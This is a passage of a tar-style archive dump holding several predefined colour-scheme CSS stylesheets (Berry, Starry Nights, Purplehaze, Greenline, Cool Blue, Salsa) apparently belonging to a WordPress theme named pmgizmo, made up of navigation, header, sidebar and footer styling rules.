/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #393a22;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/berry.css000064400000012355152223213640012204 0ustar00/*
Predefined Colors
Theme: Berry
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #1079c9;
	text-decoration: underline;
}
/* Body */
body {
    background-color: #c5d0d6;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #01162f;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #d00a0a;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current_page_item {
	background: #132c4a;
}
#topnav-menu {
    margin-left: 0;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #a01203;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #001228;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #a01203;
}
/* Search */
.search-form-top {
    background-color: #01162f;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #d00a0a;
}
/* Main Navigation */
#navi-wrap {
	background: #d00a0a;
	border-top: none;
	border-bottom: 4px solid #6a0709;
}
.stickynav,
.natty #navi-wrap {
	background: #d00a0a;
	border-top: 3px solid #a51111;
	border-bottom: 3px solid #a51111;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #7e0909;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #021935;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #082b54;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
    background: #024b90;
    background: #5dcdf5 -webkit-gradient(linear, left top, left bottom, from(#024b90), to(#5dcdf5)) no-repeat;
    background: #5dcdf5 -moz-linear-gradient(top, #024b90, #5dcdf5) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#024b90, endColorstr=#5dcdf5) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#024b90, endColorstr=#5dcdf5)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #1c6ab3;
}
.header-line {
	border-top: 15px solid #014074;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #a01203;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #f7f7f7;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #5998c8;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #01162f;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.entry .more-link:hover {
	background-color: #d00a0a;
}
#commentform #submit {
	background: #01162F;
}
#commentform #submit:hover {
	background: #d00a0a;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #193761;
	border-top: 5px solid #6988b2;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #6988b2;
}
#footer-widgets .widgettitle {
    background: #01162f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background: #010e1f;
}
/* LOL to Top */
.scrollToTop {
    background: #193761;
}
.scrollToTop:hover {
    background: #1079c9;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #7e0909;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #021935;
	}
	#header-banner .widget {
		padding: 0;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #01162f;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #9F0808;
	}
}pmgizmo/css/styles/starrynights.css000064400000010746152223213640013624 0ustar00/*
Predefined Colors
Theme: Starry Nights
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #026094;
}
/* Body */
body {
    background-color: #e7eeef;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #007849;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #006b41;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #006b41;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #007849;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #262228;
}
/* Main Navigation */
#navi-wrap {
	background: #262228;
}
.natty #navi-wrap {
	background: #262228;
	border-top: 1px solid #000;
	border-bottom: 1px solid #000;
}
.stickynav {
	background: #262228;
	border-top: 1px solid #000;
	border-bottom: 1px solid #000;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background: rgba(255,255,255,0.15);
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #015c8e;
    background: #14a1ef -webkit-gradient(linear, left top, left bottom, from(#015c8e), to(#14a1ef)) no-repeat;
    background: #14a1ef -moz-linear-gradient(top, #015c8e, #14a1ef) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#015c8e, endColorstr=#14a1ef) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#015c8e, endColorstr=#015c8e)" no-repeat;
}
.header-line {
	border-top: 15px solid #01080f;
	border-bottom: 1px solid #33393f;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #262228;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #007849;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #025f92;
	border-top: 5px solid #14a0ed;
}
#footer-widgets .widget {
    background: #b7e0f7;
    border: 5px solid #0d92db;
}
#footer-widgets .widgettitle {
    background: #262228;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #646464;
	background-color: #262228;
}
/* LOL to Top */
.scrollToTop {
    background: #3c3c3c;
    border: 4px solid #010e1f;
}
.scrollToTop:hover {
    background: #026094;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #006b41;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/purplehaze.css000064400000012434152223213640013236 0ustar00/*
Predefined Colors
Theme: Purplehaze
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #d00a0a;
}
/* Body */
body {
    background-color: #cfcfd6;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #01162f;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #d00a0a;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #00224a;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #d00a0a;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #1a1b8f;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #0a6dd0;
}
/* Search */
.search-form-top {
    background-color: #940303;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #d00a0a;
}
/* Main Navigation */
#navi-wrap {
	background: #d00a0a;
	border-top: none;
	border-bottom: 4px solid #6a0709;
}
.stickynav,
.natty #navi-wrap {
	background: #d00a0a;
	border-top: 2px solid #a92222;
	border-bottom: 2px solid #a92222;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #0a6dd0;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #870606;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #0a6dd0;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #2d409f;
    background: #807feb -webkit-gradient(linear, left top, left bottom, from(#2d409f), to(#807feb)) no-repeat;
    background: #807feb -moz-linear-gradient(top, #2d409f, #807feb) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#2d409f, endColorstr=#807feb) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#2d409f, endColorstr=#807feb)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #4258c4;
}
.header-line {
	border-top: 15px solid #0f1055;
	border-bottom: 1px solid #5158ba;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #d00a0a;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8181df;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #d00a0a;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #d00a0a;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #193d61;
	border-top: 5px solid #6988b2;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #6988b2;
}
#footer-widgets .widgettitle {
    background: #01162f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background: #01162f;
}
/* LOL to Top */
.scrollToTop {
    background: #870606;
}
.scrollToTop:hover {
    background: #d00a0a;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #d00a0a;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #7e0909;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #510000;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #01162f;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #950000;
	}
}pmgizmo/css/styles/greenline.css000064400000013450152223213640013026 0ustar00/*
Predefined Colors
Theme: Greenline
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #1079c9;
}
/* Body */
body {
    background-color: #c7cac4;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #1e3640;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #699f0e;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #234654;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #699f0e;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #304e5c;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #699f0e;
}
/* Search */
.search-form-top {
    background-color: #1E3640;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #699f0e;
}
/* Main Navigation */
#navi-wrap {
	background: #699f0e;
	border-top: none;
	border-bottom: 5px solid #4d7903;
}
.natty #navi-wrap {
	background: #63970b;
	border-top: 2px solid #88b936;
	border-bottom: 2px solid #88b936;
}
.stickynav {
	background: #699f0e;
	border-top: 2px solid #88b936;
	border-bottom: 2px solid #88b936;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #ac1273;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #314d02;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #ac1273;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #ac1273;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #08728c;
    background: #70c2e4 -webkit-gradient(linear, left top, left bottom, from(#08728c), to(#70c2e4)) no-repeat;
    background: #70c2e4 -moz-linear-gradient(top, #08728c, #70c2e4) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#08728c, endColorstr=#70c2e4) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#08728c, endColorstr=#70c2e4)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #0e85a2;
}
.header-line {
	border-top: 15px solid #092a39;
	border-bottom: 1px solid #2b8eab;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #699f0e;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #acb3b4;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #699e0e;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
#header .search-form .search-submit,
.siteheader .search-form .search-submit {
	background: #2C586A;
}
.search-form .search-submit,
#commentform #submit {
	background: #699e0e;
}
#header .search-form .search-submit:hover,
.siteheader .search-form .search-submit:hover,
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #429EBD;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #05283b;
	border-top: 5px solid #3c6477;
}
#footer-widgets .widget {
    background: #dde2d8;
    border: 5px solid #3c6477;
}
#footer-widgets .widgettitle {
    background: #1e3640;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #0e3c55;
	background: #051319;
}
/* LOL to Top */
.scrollToTop {
    background: #05283b;
}
.scrollToTop:hover {
    background: #1079c9;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #699f0e;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #538301;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #314d02;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #1e3640;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #4c7704;
	}
}pmgizmo/css/styles/coolblue.css000064400000011454152223213640012664 0ustar00/*
Predefined Colors
Theme: Cool Blue
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
}
/* Body */
body {
    background-color: #cfe3ed;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #245382;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #1c4772;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #1c4772;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #245382;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #3c3c3c;
}
/* Main Navigation */
#navi-wrap {
	background: #3c3c3c;
	border-bottom: 4px solid #a8d8f0;
}
.natty #navi-wrap {
	background: #3c3c3c;
	border-top: 1px solid #a8d8f0;
	border-bottom: 1px solid #a8d8f0;
}
.stickynav {
	background: #3c3c3c;
	border-top: 1px solid #121212;
	border-bottom: 1px solid #121212;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #3d6791;
    background: #6698c9 -webkit-gradient(linear, left top, left bottom, from(#3d6791), to(#6698c9)) no-repeat;
    background: #6698c9 -moz-linear-gradient(top, #3d6791, #6698c9) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#3d6791, endColorstr=#6698c9) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#3d6791, endColorstr=#3d6791)" no-repeat;
}
.header-line {
	border-top: 15px solid #27496b;
	border-bottom: 1px solid #517aa2;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #3c3c3c;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #245382;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
    background-color: #27496b;
    background: #4774a1 -webkit-gradient(linear, left top, left bottom, from(#27496b), to(#4774a1)) no-repeat;
    background: #4774a1 -moz-linear-gradient(top, #27496b, #4774a1) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#27496b, endColorstr=#4774a1) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#27496b, endColorstr=#27496b)" no-repeat;
	border-top: 5px solid #4878a8;
}
#footer-widgets .widget {
    background: #a8d8f0;
    border: 5px solid #4878a8;
}
#footer-widgets .widgettitle {
    background: #3c3c3c;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #777;
	background-color: #282828;
}
/* LOL to Top */
.scrollToTop {
    background: #3c3c3c;
    border: 4px solid #121212;
}
.scrollToTop:hover {
    background: #3e6389;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #1c4772;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/salsa.css000064400000012774152223213640012171 0ustar00/*
Predefined Colors
Theme: Salsa
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #850303;
}
/* Body */
body {
    background-color: #d0cccb;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #694a45;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #292320;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #644742;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #292320;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #0f0200;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #292320;
}
/* Search */
.search-form-top {
    background-color: #694a45;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #292320;
}
/* Main Navigation */
#navi-wrap {
	background: #292320;
	border-top: none;
	border-bottom: 4px solid #a61219;
}
.stickynav,
.natty #navi-wrap {
	background: #292320;
	border-top: 3px solid #900e44;
	border-bottom: 3px solid #900e44;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #6c4640;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #121212;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #6c4640;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #6c4640;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #a20800;
    background: #ed5400 -webkit-gradient(linear, left top, left bottom, from(#a20800), to(#ed5400)) no-repeat;
    background: #ed5400 -moz-linear-gradient(top, #a20800, #ed5400) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#a20800, endColorstr=#ed5400) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#a20800, endColorstr=#ed5400)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #bc0b02;
}
.header-line {
	border-top: 15px solid #5d0c02;
	border-bottom: 1px solid #be2400;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
	background: #292320;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #695451;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #a20700;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
